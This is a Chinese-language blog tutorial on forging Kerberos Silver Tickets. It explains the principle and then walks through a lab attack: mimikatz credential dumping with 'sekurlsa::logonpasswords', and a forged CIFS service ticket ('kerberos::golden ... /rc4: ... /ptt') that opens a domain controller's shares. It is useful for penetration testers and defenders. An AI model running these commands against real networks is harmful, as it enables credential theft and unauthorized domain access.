白银票据伪造

白银票据伪造

Posted by 木已成舟 on February 19, 2021

0x00 Kerberos协议介绍

Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

Windows、Linux、Mac三大主流的操作系统都支持Kerberos协议。

在 Kerberos 协议中主要是有三个角色的存在:

  1. 访问服务的 Client
  2. 提供服务的 Server
  3. KDC(Key Distribution Center)密钥分发中心=DC

根据功能划分,DC包括2大模块:AS、TGS。

  • AS(Authentication Server):认证用户,用户使用NTLM加密用户时间戳,AS使用用户的口令NTLM解密时间戳,进行认证,发布认证票据。
  • TGS(Ticket Granting Service),根据认证票据,发布授权票据。认证票据可以多次循环使用。

认证流程:

20201110160228888

20201110161132625

0x01 Silver Ticket原理

当拥有Server NTLM Hash时就能伪造一个不经过KDC认证的 TGS。因为Server Session Key在未发送Ticket 之前,服务器是不知道Server Session Key是什么的,所以一切凭证来源于Server Hash,即Ticket = Server Hash(Server Session Key + Client info + End Time)

利用条件:

  • domain
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的 NTLM Hash
  • 需要伪造的用户名

可伪造的服务列表:

20210219133219

0x02 白银票据伪造 CIFS 服务权限

  1. 在Client(Windows Server 2008、域成员)上查询域控制器的共享目录,命令dir \\2012-dc\c$,提示【登录失败:未知的用户名或密码错误】

    20210219135022

  2. 在Client(Windows Server 2008、域成员)上获取域SID

    whoami /user

    20210219134949

  3. 在域控制器中使用 mimikatz 获取服务账号的 NTLM Hash

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

    20210219135111

  4. 截至目前,白银票据利用条件已全部满足。开始实施伪造TGS前,为避免干扰,先将Client(Windows Server 2008、域成员)上的本地票据清除。

    kerberos::purge #清除本地票据

    kerberos::list #查看本地票据

    20210219135214

  5. 使用mimikatz伪造TGS后,成功查询域控制器的共享目录:

    mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器的FQDN> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt" exit

    mimikatz "kerberos::golden /domain:shqax.com /sid:S-1-5-21-1830516205-1272680086-2450899533 /target:2012-DC.shqax.com /service:cifs /rc4:e4b2e65f0e7fa72bd2bc1d5ede230e61 /user:hacker /ptt" exit

20210219135250